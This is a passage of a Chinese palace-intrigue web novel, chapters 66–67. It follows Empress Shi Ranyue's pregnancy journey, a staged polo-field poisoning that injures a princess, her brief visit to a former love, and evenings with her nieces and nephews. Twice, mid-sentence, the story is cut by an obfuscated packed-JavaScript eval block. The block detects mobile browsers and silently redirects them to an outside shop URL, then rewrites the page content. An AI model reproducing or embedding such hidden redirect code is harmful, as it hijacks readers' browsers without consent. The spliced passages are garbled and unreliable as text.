端木玦身为太子,担国朝重任,受万民仰瞩,自无轻松可言。近二年端木玄叫他参与政务,更是忙得脚不沾地。偶尔来坤宁殿问安,或是师冉月去看望他时,总见他满脸皆是挥不散的倦意,一副少年老成的样子。师冉月既心疼亦无奈,终也没什么办法。 端木汐如今五岁,读了些书,虽不似端木玦幼时那般课业重重,然而这孩子仿佛生来就聪敏多思,随着年岁增长,竟越来越不爱说话,与端木含在一起玩耍时,沉静端庄得倒像是长端木含几岁。 “那日汐儿不知看了什么还是听了什么,竟来问我日后她会不会去塞外和亲。”师冉月与林绵提起时,只觉得不可思议,又后怕连连。 然而当她终于措好词,向端木汐认真解释她不会到塞外和亲,端木汐却严肃道:“若是国朝需要女儿和亲,女儿也不会哭闹的。女儿是公主,享万民供奉,自然要献身于民。” “她这些词都是从哪里学来的?”林绵讶异不已。 师冉月摇头叹道:“我哪里晓得。” 说实在的,端木汐若真心这般想,倒也不算不好,左右师冉月自会护着她,不会让她落入和亲公主那般境地。若她真是个仁善的公主,来日积下贤名,受人敬仰,亦是一桩好事。只是师冉月担心她这般早慧多思,会否会如书中箴言那般因此夭寿,便成日里撺掇她多与兄弟姐妹们玩乐,甚至一看见她小小一个人坐在书案前安静地读书就心惊胆颤。 有这般一子一女在前,师冉月总怕再生出一个这般叫她心疼可怜而又无可奈何的孩子来。虽说这个孩子来得意外,但怀着“既来之则安之”的念头,她还是希望能有一个真正天真无邪、活泼健康的孩子绕膝在侧,好叫她心中那般隐秘的情感得以慰藉。 离了梁郡至息州,不过在客栈歇息了一个晚上,师冉月便带着随从过荆府赴宴。 荆家如曹家一般,自是早早得了消息,紧锣密鼓筹划良久,既要符合皇后临幸的规格,又不能叫外人清楚皇后的行踪。 对内,因着师冉月提前有令,不许铺张浪费,只当寻常待客即可。荆家便托安王妃千方百计打听了师冉月的喜好,宴上菜品及奏乐既有遵循皇家规制的部分,亦有专为贴合师冉月喜好而设的息州特色菜肴和民乐等。 一日下来,师冉月倒不觉疲惫,甚至还对息州的美食意犹未尽,忍不住想在此地多住几日。 何况她此次有孕至今都没什么不适感,除了总打瞌睡,再加上被御医和音儿等人轮番唠叨着喝那些味道奇怪的滋补保胎的汤药外,她的胃口甚至比有孕之前更好了些。 对此,荆家一位姑娘的提议是:“娘娘不如请一位息州的名厨随行,甚或带回宫中,便能随时吃到了。” 师冉月却摇头拒绝:“这食物可口,不止是看厨师的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256368|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功力,食材也是顶顶要紧的。好比本宫在宫中所食的藕,便不如逢州的脆甜。” 荆家少夫人附和道:“臣妇幼时随父亲至北面显州,吃到当地的羊肉甚是鲜嫩可口,回来后即便是北边的师傅用本地的羊肉做,也完全不是那般味道了,正是娘娘说的这个理。” 加上端木玄晓得她有孕后,动用影卫三日传了四封信催她回逢州,由云和长公主和平承郡主亲自照料她孕期,否则自己便要亲自接她回宫养胎。师冉月心中还挂念着绛县,便按着计划只又在息州歇了一日,便又启程向绛县去。 春风习习,草场上新生的嫩草尚且没不过鞋面,马蹄踏过时扬起地皮上浮着的尘沙,与草汁混在一起,空气里都是—— “马球的味道!”官闻霁如是道,“只可惜臣妇前些日子扭着了脚腕,今日不能上场一战了。” “无妨,今日你便随我观战便是。”林绵微笑道。她一席黑青的宫衣,水华朱和金色的丝线拧作一股绣出的朱雀纹样奢华而肃杀,像一把剑藏在衣褶间。 官闻霁的衣裳却是通体青绿的配色,西子绿的裙摆,白青的披帛,倒不与草色相撞,只似一斛春水润物无声。她上个月方才嫁给右卫上将军谭梁的长子谭瞬,本该穿些鲜艳的颜色,可今日原是林贵妃代帝后款待自今上登基后初次进京的乐安长公主端木缡所设,因打听到端木缡素喜艳色,故而她便特意挑了浅淡的颜色来穿,谁想今日场上一件,端木缡竟也穿着一身石绿的骑装。好在不算是一个绿,否则真真是弄巧成拙了。 乐安长公主的驸马颍川守备萧旷被留在宫中与上叙旧,是以林贵妃这边陪同的也基本是女眷。除去官闻霁外,便是昭容赵玉熹、闽中王妃宋滢、昌留郡王妃梁婳以及几个与官闻霁年龄相仿的年轻命妇。 很快一场马球开打,场上热闹起来。林绵只是独坐高位品茶,偶尔温声询问官闻霁一些家常事,官闻霁亦是软语相答。她们这一处三面都设着屏风挡风,从外面隔开三步远便看不见里头的人影,更听不清讲话声。 宋滢与梁婳等均另坐,赵玉熹和几个年轻的命妇都陪着端木缡亲自上场打马球去了。官闻霁自己一个人陪着这位瞧不出悲喜的贵妃,心中越发有些战战兢兢,林绵不说话时,她也不敢扭头去看那马球,唯恐错过了林绵下一句话去,便只将注意力放在案上的糕点果子上。 听说那玉松糕是用皇后娘娘独家的方子做的,果真好吃。 “啊!” 闻得这一声撕心裂肺的尖叫时,官闻霁口中还慢慢咀嚼着半块玉松糕。余光见林绵已经皱着眉站起,她也连忙站起身,快速嚼了几口将那糕咽下去,随着林绵一同看向草场中,只见一匹红鬃烈马倒在地上浑身痉挛,一旁似乎还有个人跌倒在地不能动弹。 她认出那是端木缡的马。 场上已有一群人围了过去,林绵身旁的一位女官亦提着裙摆快速上前拨开人群,查看了端木缡的状况,又飞步回来禀道: “贵妃娘娘,乐安长公主摔在地上,口吐鲜血,已经动弹不得了。” 林绵仍旧皱着眉,声音却冷得像刀:“快去请御医过来医治。命其余人都先散开,不得触碰长公主,免得伤上加伤。” “是。” “乐安长公主的骑射素来上佳,如今不过是打马球,怎会如此轻易摔下马来?” 赵玉熹已经回到林绵身侧,闻言道;“贵妃娘娘,臣妾方才在长公主身边,亲眼见长公主所骑的那匹马似乎因为什么受了惊,浑身抽搐,继而突然立起身来,才叫长公主遭此不测。” 官闻霁亦道:“臣妇方才看见那马倒地后尚且浑身痉挛,想来是那马的问题。” 林绵遂道:“派人去查。若是天灾,那便罢了。可若是人祸,那定要查个水落石出,才好给长公主一个交代。” “是。” 随行的人全都被留在了最近的行宫中等候结果,端木缡则亦暂且在行宫中医治。御医赶来后,才晓得她这一摔竟断了三根肋骨,胸腔出血,惊险十分。与之相比,挫伤的右臂和脚腕以及其他部位的擦伤都已经无足轻重了。 林绵身边的女官办事速度亦很快,御医那边尚在抢救,这边就已经将人证物证全部找齐:“启禀贵妃娘娘,这人原是官大人府上养马的旧仆,因犯错被逐出府,没了收入,唯一的妹妹前年冬天饿死了。他后来托关系入了这马球场做杂役,因为对官氏怀恨在心,打听到今日官夫人也在此处,却将同穿绿色衣裳的乐安长公主错当成官夫人,因而用这芦管将淬了毒药的银针吹入马腹,以致马儿中毒抽搐,将长公主摔下马。” 那被带上来的“旧仆”满脸邋遢,神色慌张,口中还反复念叨着:“我不知道......我不晓得......” 林绵皱了皱眉,女官随即用粗布堵住他的嘴。 梁婳却道:“官大人府上的旧仆,怎会不识得官夫人的相貌?” 官闻霁淡然道:“不过是一个养马的杂役,难道昌留郡王府上的杂役也都能在近处瞧见郡王妃您的相貌吗?” “官夫人说的在理。何况长公主与官夫人身形相似,认错也是可能的。”林绵道,“既如此,便依着律法将此人斩首示众罢。” 无人再出口置喙,那人便又被拖了下去。 林绵一手支着头,面露疲惫,道:“今日害的各位一同受惊了,天也不早了,各位请回罢。”又着意看向官闻霁道:“闻霁,今日之事与你无关,莫要挂心。” “闻霁明白,多谢娘娘关怀。” 66.第 66 章 “贵妃那边怎么样了?” “一切顺利。”近黛奉上一盏新茶,道,“那人已被斩首,相关的人也都处理干净了,陛下放心。” 端木玄点了点头,又道:“我记得萧旷的弟弟萧晖家中似乎有个女儿?” “是,此女是萧晖夫人周氏嫡出,名妙安,今年十三岁,尚未议亲。” “此事了了,便着礼部下旨,将此女赐婚与平江郡王罢。”他看向疆域图,笔杆点了点颍川,道:“待平江郡王与萧氏女成婚,便改封颍王,建府颍川。” “是。” “皇后如何了?” “皇后娘娘已自息州启程,约莫两日后便会抵达绛县。” 端木玄轻蔑地笑了一声:“绛县。” 近黛眼皮一跳,又道:“陛下,可要请云和长公主至绛县接娘娘回逢州?” “不用。” 近黛未曾看他神色,心中却已了然了他的想法,不觉也生出几分不屑和嘲讽在心中,面上却不动声色,试探般轻声道:“今日赵昭容陪同乐安长公主打马球,有人说赵昭容的身段气度颇似烟水姐姐。” 她稍稍抬头打量着端木玄的神态,却只见他仍旧保持着原来的姿势,慢悠悠地看着眼前的军报。 过了不知多久,他才抬头道:“去耀光殿。” “是。” 绛县。 此地地处北境,尽管京城此时已是春光融融,然而这里的柳梢方才冒出些新芽,远远看去恰是一团雾蒙蒙的嫩绿,近了再瞧,那点绿意便显得少得可怜了。 小院在县境的一角,背后几乎便是成片的荒草和少量农田。柳枝编的篱笆墙比起用作院子的围栏,倒不如说是为蔷薇和朝颜花作爬藤的支点。 院子很宽阔,却没有种任何蔬菜瓜果,倒是遍生着狗尾草。除此外便只有一棵梧桐树。想来是绛县冬日气温太低的缘故,这树长得也没什么精神,甚至可以说是勉强存活。 师冉月坐在木屋廊下的小藤椅上,有些失望道:“这些地若是开辟出来作菜畦,或是种些花也好。难道你一门心思只顾着打理那篱笆墙,倒荒废了这片院子了么?” 商信修剪着蔷薇花,没有回头,只道:“平日里我都是到集市上买菜,或是到邻居老伯那里换粮食,比起自己打理要方便得多。” 师冉月难以想象这七八年以来这个人就这么守着这处院子剪花,这日子实在是无聊透顶。 比起那年在山上相见,面前这个人瞧着清瘦了不少,甚至看上去比起在宫中整日里多思劳神的端木玄还要年老几岁,但这种“年老”只是显得他更加沉稳,或者说更加有一种“世事于我如浮云”之感,似乎像是撑着仙鹤踏着流云光顾人间的散仙。 “烟水已经还乡了。你呢?可曾想过有一日离开这里,回慕州去?” “不晓得。兴许有一日,我会想回去。” 师冉月轻叹一声,却又道:“不过此处山高水远,虽不及南方水土滋润,但也似世外桃源了。” “的确。慕州那片地带多丘陵,依山傍水,地势低平。而此处地势却极高。你自西南方向过来,一路缓缓爬升,想来感受不到。倘若自东边过来,便是一山分两界,一侧高原,一侧平原,中间恰如断崖,气势磅礴。自下仰望甚至会心生畏惧。” 师冉月在脑中琢磨了一阵,道:“古时人们所说‘逐鹿中原’,是不是就是那处?” “大约是罢,自山上向下望,仿佛四海八荒尽收眼底,的确能生发出那般一统天下的英雄气概。只是不晓得经不经得起考究了。” 师冉月新生羡慕,却不知从何说起,倒是商信修剪完那片花枝,将花剪轻轻放在一旁的木架子上,回身看向她道:“走啊,我们到集市上挑些新鲜的菜回来。” 师冉月顿了顿,愣怔起身,“哦”了一声跟上。走到半路她才笑道:“你如今倒是一分原先的架子都不剩了。” 纵然她在逢州那段日子,也不过是到田间去走一走,与那些农人和坊间的手艺人说说话,饭菜都是庄子里准备好的,或是到酒铺中去吃。这般如寻常市井百姓一样到市集去买菜回家的经历却是从未有过,而若不是有商信带着,她自己恐怕是一辈子也想不到去做这种事。 “我早已只是一介平民,哪里有什么架子。” 集市口正有些农妇在卖到附近山上采的野菜,一簇簇新鲜的野菜摆在一起,根茎上还带着泥土,比起寻常蔬果倒更惹眼些。 商信见师冉月注目,便道:“不如买些回去。这些野草过水后凉拌,或是与猪肉同炒,都是极鲜嫩好吃的。宫中虽有进贡的野味,却也比不上这种。” 师冉月却摇了摇头道:“这当中杂着马齿觅,还有荠菜,我如今都不能吃。” 商信晃了晃神,随即又扯唇笑了笑:“那看来你今日没有这个口福了。”随后便远离了那些野菜的小摊,只去挑了些寻常的性温和的蔬菜,又拣了条新鲜猪肉。 师冉月对他挑菜的过程颇感兴趣,甚至还想亲自讨价还价一番,可待到商信让到一旁请她开口时,她又怯了场,讪讪地笑着把 他又让回前面去。 一趟下来,除了原本打算买的菜肉,还买了好些因为师冉月好奇而买的当地的花馍,还有一串迎春花穿的手串,和一个上面画着绛县特有的图腾纹样的拨浪鼓。 “当作我给这个孩子的贺礼罢。” 音儿与成和他们住在了绛县城中的驿站,离商信这处房子不远,却也不会来“叨扰”。不过一日三餐、端茶倒水,却也都是商信一人去做,师冉月饭后有意帮他收拾碗碟也被他勒令禁止。 几番下来,师冉月好笑道:“是因为我是皇后,还是因为我有孕在身?我在宫中时亦会自己下厨,没有一步假手他人,这点小事何至于如此推来让去的。” “你也说了,不至于推来让去的。无论你是谁,来者是客,总没有让客人动手帮主人的道理。” 师冉月不语,心中却有些厌弃这种生疏,可转而便又觉得这本也理所应当。倘若不是她那日因着那些书信“重见天日”而一时兴起,兴许他们二人这辈子也不会再见,何至于在此不亲不疏的,两相尴尬。 “许疾风呢?倒不见他。” “他五年前成了亲,随着妻子搬到息州去了,不过年节时候,他们也还会回来。” “啊,我原是自息州过来的。若早知道,兴许我还能去看一眼他。” 一时又无话。 商信自顾自般在灶房洗洗涮涮,隔着竹帘,只能看见一个影影绰绰的身形。北方春日的天还很短,未时未过,天已渐渐暗下来,师冉月找不到蜡烛,望着烛台低叹一声,自己走到屋外台阶上坐着望月亮。 台阶一侧的架子上晒着些中药,不似是商信自用的。想来这么些年过去,唐珞就算留下再多嫁妆,商信就算再精通理财之术,大概也剩不了多少了。 须臾,商信自后为她披上披风,又拍了拍她的肩,道:“石阶上凉,还是坐在椅子上罢。” 师冉月却只从旁边拽过来一个蒲团垫在石阶上,复又坐下。 商信失笑道:“怎么还是小孩子脾气。” 师冉月却嘲讽道:“哪里有三十四岁的小孩子。” 二人不远不近地并肩坐着,静静地看着一角月牙越过树梢。庭前被清辉笼罩,朦胧静谧,远处野火悠悠,不似当世。 “寒峦死了,你知道么?” “猜到了。” “如果,当时你没有劝我下山,兴许我会留在你身边。” “你会后悔。”商信声音虽轻,却斩钉截铁。 师冉月低下头去。良久又笑道:“现在说这些好似也没什么意思。我若是长久间一直思索这些事情,这些年活得便也没什么意义了。” “自然,人不能沉湎于过去,但也不至于非要逼自己一定看着当下。若是有些美好的事在过去,偶尔回忆亦是好事。” “那我就会沉湎了。”师冉月想。许久以来,她未曾想过谁的离去,暂时或永远,亦不曾假设以往,设想自己这一辈子是否会有另一种活法。不谈来世,只看当世,人生不过短短几十个春秋,又不知何时就会有意外使生命戛然而止。若是这有限的时间都用来思念已经发生的事,岂不使生命缩短,白白浪费了好时光。 虽然她大多数时候,活在当下也是闲着无聊,碌碌无为,能找些乐子就算好的了。 “时候不早了,早些睡罢。”商信起身道。 师冉月低低应了一声,起身将披风还给他,先他一步回了分给自己的房间。阖上门时,只听他沉声道:“阿琯,绛县城小,物产亦不算丰饶,驻留两日已是足够。我已传信给音儿,明日上午,你便启程回逢州去罢。” 师冉月眼眶有些酸涩,抿了抿唇,半晌才道:“好。” “姑娘你也是,好容易折腾这一趟,只待了两日便又走了,何苦呢?” “足够了。”师冉月道,“足够叫我认清,过去虽有遗憾,但不值得继续探寻。他一个人自得其乐,我再住下去,倒是打扰了。”她释然地伸了伸懒腰,又赶紧摸了摸小腹安抚一下孩子,继而失笑道:“要到绛县时我还有些紧张,不知道在他面前如何自处,如今将要回家,倒是完全放松下来了。” 音儿笑道:“那是自然。” 师冉月瞥了眼外面骑马的成和,促狭道:“你的家跟着你呢。” 音儿脸红,就着她的话道:“是呀,我的家跟着我,我们一家跟着姑娘,在这驿道上来来往往。” “听起来像是在讲故事。” 因着怕路上颠簸以致师冉月不适,这一程足足走了二十余日,才晃悠到沉州与早侯在此处的端木萌会合。 “我可不是专在此处等你的,不过是来这儿收账,顺便迎一迎你。” 师冉月回逢州的消息,除去师家人外一概不知,因此也不必费心做那里外面子的事儿,只当作姑姑归家省亲,倒是亲昵十分。 “舟车劳顿,你且先好生歇两日,旁的事都来得及。” 如今师霖常居京师,东西几乎也都搬了过去,端木萌和棠欢与陈明月并师恪住着一进院落,倒觉宽敞许多,加之景安出嫁后婷欢也颇无聊,干脆搬来与母亲同住。 莞安随着端木婉住着那处小院子。张雁去世后,空出来的院落仍有幼芷和幼桐住着,主屋的陈设也暂且维持原样。 于是端木萌便着人将婷欢景安那处院落扩建了,又重新收拾了一番,供师冉月居住。 师冉月自正门入,依次穿过几进院落,不觉道:“好似比当年冷清了不少。” “几个哥儿都不常往后面来,若是聚在一起,或是来日待他们都成了亲,便热闹了。” 师冉月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256369|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只笑了笑,没有说话。 彼时宫中诘问后,端木萌也许久未曾这般与师冉月相对说话。信中语句虽似从未生疏,却到底隔着几程山水,看不真切。 婷欢带着几个妹妹随行在母亲和姑母身后,见气氛已改,便也只好先静观其变。 及至到了那处小院,只见四合的白墙青瓦,院中种着一棵枝叶已漫过屋檐的梧桐,余下的花池里则是种着与原先京城宅子里师冉月的院落中品种相同的海棠和蔷薇,还有几支翠竹立在廊后,恰似竹帘迎风摇曳,翠色欲滴,景致非常。 纱窗亦是新换的妃色罗纱,因着周遭碧色已如汪洋,屋内的帘幔便择了退红、月白二色,各自相衬,精致细巧。 案上的白瓷瓶里已插上新折的桃枝,粉嫩的花瓣上似乎仍带着露痕,似少女耳畔飞霞,喜人得很。 师冉月的指腹轻抚过花瓣,脸上终于浮现些纯粹的笑容:“花了不少心思罢?” 端木萌笑叹:“怎么,肯为你花心思还不高兴?” “我哪有不高兴。” “好了,你便安心在此住下,好生将这个孩子生下来,满打满算也还要六七个月呢。至于其他的事,暂且都交给我们罢。” “好。” 晚间端木婉自庄子回来,将理好的账目与新修的名册交还给端木萌,便先到师冉月这处院子中来,玩笑道:“臣妾给皇后娘娘请安。” 师冉月详装恼怒地轻拍了她一下,笑骂:“快平身罢。” “怎么样,住得可还舒心?知道你喜欢自己做些东西吃,云姝还特意叫人给你辟了个小厨房出来。灶具调料都是我看着人采买的,哪怕是宫中的御厨来也绝对挑不出毛病。” “当然舒心。多亏了你们费心布置。” 端木婉笑了笑,叫小芜拿来一个笼屉,道:“这是惠嫂托我给你带回来的青团和芙蓉糯糕,还有下午刚蒸出来的竹叶酥酪,想来现在放凉得刚刚好。” 师冉月有些惊讶,连忙就伸手去将一碟碟糕点拿出来放在案上,闻着熟悉的香气喟叹道:“真是好久未曾尝过惠嫂的手艺了。音儿明儿一早便去看她和梁伯,若非我这两日折腾得没什么精力,合该也去看望他们二位才是。” 与锦姨那般跟随自己姑娘出才嫁到师家的不同,惠嫂虽是唐烨的心腹,却是师家的家生子,她的母亲便是师道旷的乳母,因而唐烨故去后,便理所应当继续留在师家。 “惠嫂又不是旁人,她是看着你长大的,怎会不懂你的心意,何况还有音儿替你传达。她听闻你又有孕,倒是恨不得亲自来照料你。你便好生歇着吧,无需顾虑这些。” 想到若是惠嫂当真回到自己身边照料,免不了一日唠叨几十遍,生怕她热了凉了磕了碰了......师冉月忍不住一个激灵,摇了摇头:“还是算了,惠嫂年纪也大了,就别为了我这般折腾了。” 端木婉猜中她的心思,捂着嘴“噗嗤”一声笑了出来,“你这个样子,怪道惹人担心。”又想起自己连日所忧,蹙眉道:“如今宫中的情形你可有了解?” “放心,我自有数。” “宫中的事瞬息万变,你就算消息灵通,也隔了十万八千里,到底顾及不到。我如何能放心?”又压低声音道:“我听闻前些日子乐安长公主进京,竟在打马球时跌下了马,至今尚在行宫中昏迷不醒,你可晓得?” “自然,这事儿本就是我与陛下商定的。” 端木婉的心稍稍放下,却又似哀叹道:“乐安长公主到底是陛下的亲妹妹,何至于此......” 师冉月敛神低眉,用小勺切了一块芙蓉糯糕,放到嘴中慢慢咀嚼。 端木婉没有察觉她神色的变化,只又闲话道:“说起来,昌留郡王府的人进京也有些日子了,竟似是不打算再回逢州了一般。” “他们有自己的谋划。左右在逢州时你和云姝与她也不过泛泛,这般倒省的每每遇上便要与她惺惺作态了。” “他们在前朝谋的是你三哥,我只怕在后宫谋的是你。” 师冉月却勾唇道:“这个嘛,二嫂放心便是了。想来未及我这个孩子落地,便会有宸妃的大消息了。” 端木婉瞪大了眼睛道:“是什么消息?” “到时候你就知道了,现在说出来便没意思了。” “你呀你呀——好罢,我也不似云姝那般时时盯着京中的事......你们各自有数便罢了。说起来兴许是你当年的功劳,自从今上登基,子持便着意自私兵中筛选出一部分人专门负责刺探消息和传递密信,想来如今虽比不上今上身边的影卫,但与朝中同僚相比也该是数一数二了。” “好些人家不过是安插一两个亲信,并没有专意培养暗线。私兵本就是我们手中利器,再有这般暗线,想来便是如虎添翼了。” 师冉月想了想,却又嘲弄叹道:“也只是碰上如今坐在那位子上的是他罢了。当年武宗皇帝尚且未拿到咱们家有私兵的实证,便出手发难。若是如今皇位上换一个人做,但凡晓得了一点消息,咱们全家上下不扒层皮也难。” 至于端木玄,师冉月笃定他必然完全通晓师家此间秘辛,甚至于他与师霖做的某些谋划本就基于此。然而他到底为何对此放任自流,又是否如她原先所想,师冉月倒是懒得再多猜测。 至亲至疏夫妻,只要她晓得他不会对师家出手便好。 67.第 67 章 忽一阵梅雨淅沥,又忽一阵烈日当空。逢州夏日的艳阳从来不肯饶人,逼得人只想在日落西山后再出门活动腿脚。 星子一颗一颗挂上天边,蝉鸣也爬上了树梢。师婷欢、师迟、师莞安、师玘、师言、师琦、师幼芷、师幼桐还有师棠欢九个搬来一排小竹椅,在院子的梧桐树下坐得整整齐齐,一起分享师冉月亲自站到灶旁看着人做出来的凉面和米皮。 陈明月的父亲前些日子病逝,她便带着师恪回京奔丧。正巧端木萌想念师霖已久,便借着这个由头与她同回京城。可巧沉州有批货出了岔子,当中扯上些走私盐铁的生意不好糊弄,于是只得端木婉亲自去处理。这下子便只剩这些孩子与师冉月在家,一时间她只觉得自己好似是山大王带了一群猴子猴孙。 “这凉面是蜀地的做法,米皮是我在息州时特意请教了当地的名厨,叫人将方子一步步记下来照做的。” “好吃好吃!”棠欢第一个捧场。 师冉月笑着摸了摸她的头,又补充道:“不过这东西性寒,也不好多食,免得夜里腹痛睡不着觉。” “那我要和姑姑一起睡!” 棠欢似乎很快就将原先只能在宫宴上遥遥参拜、最多隔着屏风温语几句的那位皇后娘娘和眼前宛如寻常人家的和蔼可亲的姑母“合二为一”,一点也没有适应障碍。 恰好师冉月就喜欢小辈这般活泛而不过分吵闹的亲昵,因而几个侄儿侄女中也不自觉地便偏爱她些。 其次便是莞安。 不过因着她出嫁的日子越发临近,她又喜欢学着那些寻常人家的姑娘亲自为自己绣嫁衣,虽说她的女红在姐妹几人中算是出类拔萃的,可从前也未曾亲自绣过这般大件的物件,为此熬了不少夜,吃了不少苦头,白日里的精神也瞧着减了许多。 师冉月看在眼中,欣慰是有的,却是心疼和好笑更多些,免不了劝道:“心意到了便是。这嫁衣大不了姑姑命宫中的绣娘为你制一件,制式、花样都挑如今最时兴的,或是按你的喜好来,如何?” 莞安似是认真考虑了一番,最终却还是摇头道:“还有一年多的功夫,我还是想自己试一试。” “......这个执拗劲儿,倒像你父亲。”师冉月叹道。 莞安却看向师玘笑道:“娘和三叔他们倒觉得三弟才执拗呢。” 师玘原本正发着呆,闻言有些愣怔抬头,嚼了嚼口中剩下的米皮咽下去,却不小心被辣椒呛了嗓子,手忙脚乱地接过三四杯茶喝下肚才算缓过来,呼出一口长气,只道:“娘和三叔何时说过?” 莞安从方才他呛到便在笑,这会儿更是笑个不停,说不上话来。 婷欢顺了顺她的背,笑骂:“你惯会欺负他,当心背过气去。” 师琦却道:“不说别的,三哥,你已经好久没和我们出去玩了。” 幼芷轻轻颦眉,一双弯眼看向师琦,细声悠悠道:“出去玩是什么好事情么?” 师琦被妹妹噎了这一句,瞪着眼说不出话来,徒留师迟指着他哈哈大笑。 师冉月只温柔看向脸有些红的师玘,温声道:“耽于玩乐是不好,不过你这个年纪,何不与兄弟们多出去玩一玩?” 师玘低头,半晌才闷声道:“我得准备科考。” 师冉月明白过来,抿了抿唇,想了一会儿,才又劝道:“不为别的,久坐伤身。我原先听说你的骑射很好,还会些枪法,若是读书累了,痛痛快快玩一场,也是好的。” 少时的阴雨再次在眼前洇湿,她虽未身在雨中,却也似乎又闻到了那股潮湿又寒冷的味道。孩子们的说笑仍在耳畔起伏,她却仿佛穿过人群,看到不远处庭院中的海棠花旁,那个柔和的面容对她笑了笑,却又似乎皱起眉,似是对她无声的指责。 她的心痛了一瞬,再看向师玘时,眸光歉然。 师玘却已摆出一副无所谓的样子,只对她讲起近日学业所得,又道:“若能于官场上对大哥有所助力,庇佑家人,也是侄儿所愿。” 师冉月只好叹道:“你若真心这般想,倒也是好事。” 师莞安自方才起就一直低着头没有说话。她自然晓得师玘自去年年末从沉州回来后为何一直兴致不高,师景安的婚事犹在眼前,她总觉得自己于婚嫁上的幸运,似乎是“偷”了他们的气运。 师玘倒晓得她心中作何想,为着叫她不再作茧自缚,只道:“这不过是因为你心属之人恰好是景家的公子罢了。景家这些年替我们在逢州等地周旋,与我们互为照应,我们家终归是要和他们联姻的。” 师莞安心中略微好受些,道:“此事便罢了......若是你不喜欢闻霰,便与我说,我一定替你去与娘她们争。” 师玘只笑她傻,末了又踌躇道:“此事——我与你的心意倒是一致的。” 师莞安了然,又揶揄了他一番,从此便也不在面儿上提起这般心事,不过每每见到师玘怏怏不乐,或是收到师景安的书信,总还要再纠结一阵儿。 月上梢头,墙外不知谁家丝竹,乐声欢快,一时众人也都被吸引住,都安静下来,只凝神分辨起来。过了一会儿,便你一言我一语地猜起方才那支曲子所用的乐器种类来,一番争论不休后,自然是师言拔得头筹。 “言哥儿既得了头筹,合该有点奖赏才是。” 师言却起身,耳尖有些红,向师冉月道:“姑姑,侄儿与人有约,只求姑姑恕我失陪之罪。” “这有何妨?不过天已经晚了,早些回来便是。” 师言忙不迭谢过,便抽身匆匆离开。师冉月不免奇道:“他是与何人有约,竟能如此心急?” 婷欢几人俱是摇头,唯有师迟和师琦二人一脸隐秘,只憋笑不语。见他兄弟二人这般样子,师冉月倒也猜出几分,只笑叹:“莫不是‘月上柳梢头,人约黄昏后’。” 师琦点了点头,被师迟推了一把,又连忙摇头。婷欢随即皱眉,又很快作寻常色。莞安却已追着师迟和师琦开始问东问西。 师冉月满意地看着师迟和师琦窘迫的模样。而待众人各去歇息,回到房中由音儿侍候着她梳洗时,才叹道:“也不晓得言哥儿那‘佳人’是何出身,若是正合宜,趁我在这儿,倒不如做媒成全了他们,也是一桩幸事。” “陛下原先的意思不是想将和宁郡主嫁进来?若是四公子的婚配定下,那便只能是五公子了。” 提及此事,师冉月不免皱眉,冷声道:“琦哥儿是万万不可的。若是来日教他晓得......罢了,此事陛下亦未曾说死,只先再看看罢。” 又怅惘道:“昔年我尚未出阁,住在这里时,竟未曾如这般与兄弟姐妹们分享这样一个晚上。”她顿了顿,旋即话中满是嘲弄:“也罢。彼时再差一步,恐怕就要家亡各分散了,又都在守孝,哪里有心情、有脸面过得这般闲适。” 师家处在这个位子上,行差踏错一步,都有可能落入万劫不复之境。 思及昔日光景,师冉月一颗心也冷了几分。没了方才的热忱,心头的那点欢愉自然也跟着烟消云散。 窗外竹影斑驳,风移影动,剪影落在床前,倒似看不清的网帐。 师冉月的手抚上小腹,心中思绪翻转,难以言表,最终还是只叹了口气,仿佛想将万千烦恼丝在这一口气里吐出,情绪得以平复,才好入眠。 音儿将帐中熏香撤出,吹熄烛灯,便只余月光落在室内,待音儿也歇了脚步,便是万籁俱寂。 这年秋季,宫中没了师冉月做的栗子糕,连带着也少了些秋的味道。 及至深秋,更是只余北风瑟瑟,落叶狂卷,草木枯败,连带着宫墙的颜色似乎也褪了几分。 林绵从御药房翻完脉案,心头沉郁,然而举目四观也无别处可去消遣,便只慢慢踱步在宫道上,往辰阳殿回。 想是天气寒冷,漫长的宫道上除了偶尔路过的一队步履匆匆的宫人外再无旁人,直到转角路过昭成殿时,才见到端木嵩在门口蹦跳着玩耍,见到她口齿不清地问好:“林母妃好——” 林绵笑着蹲下来,接过一旁嬷嬷手中的拨浪鼓,逗引着端木嵩往前走,复又亲自抱起他说话,问道:“小嵩儿,你母妃呢?” “母妃,去,去风铃。” 一旁的嬷嬷忙解释道:“回贵妃娘娘的话,一早孙充容身上不爽利,值班的御医瞧不出来毛病,那边就闹着将平日为惠妃娘娘请脉的御医何守荣叫了去。惠妃娘娘知道了此事,便亲自往凤宁阁去探望孙充容了。” 林绵颔首,继而又教端木嵩说了会儿话,便若无其事地走了。 “娘娘,我们不回辰阳殿吗?”彩袖问道。 “顺路去趟凤宁阁。” 林绵裹着一袭秋风迈入凤宁阁,江映与孙姝妙间微妙的对峙被这风吹得松动些许。二人纷纷起身行礼,环佩作响,声音泠泠。 “免礼。”林绵和善笑笑,“本宫也是经过,想着许久不见孙妹妹了,便来看看——妹妹不会觉得叨扰罢?” “怎会,若说叨扰,那也是惠妃娘娘在先了。” 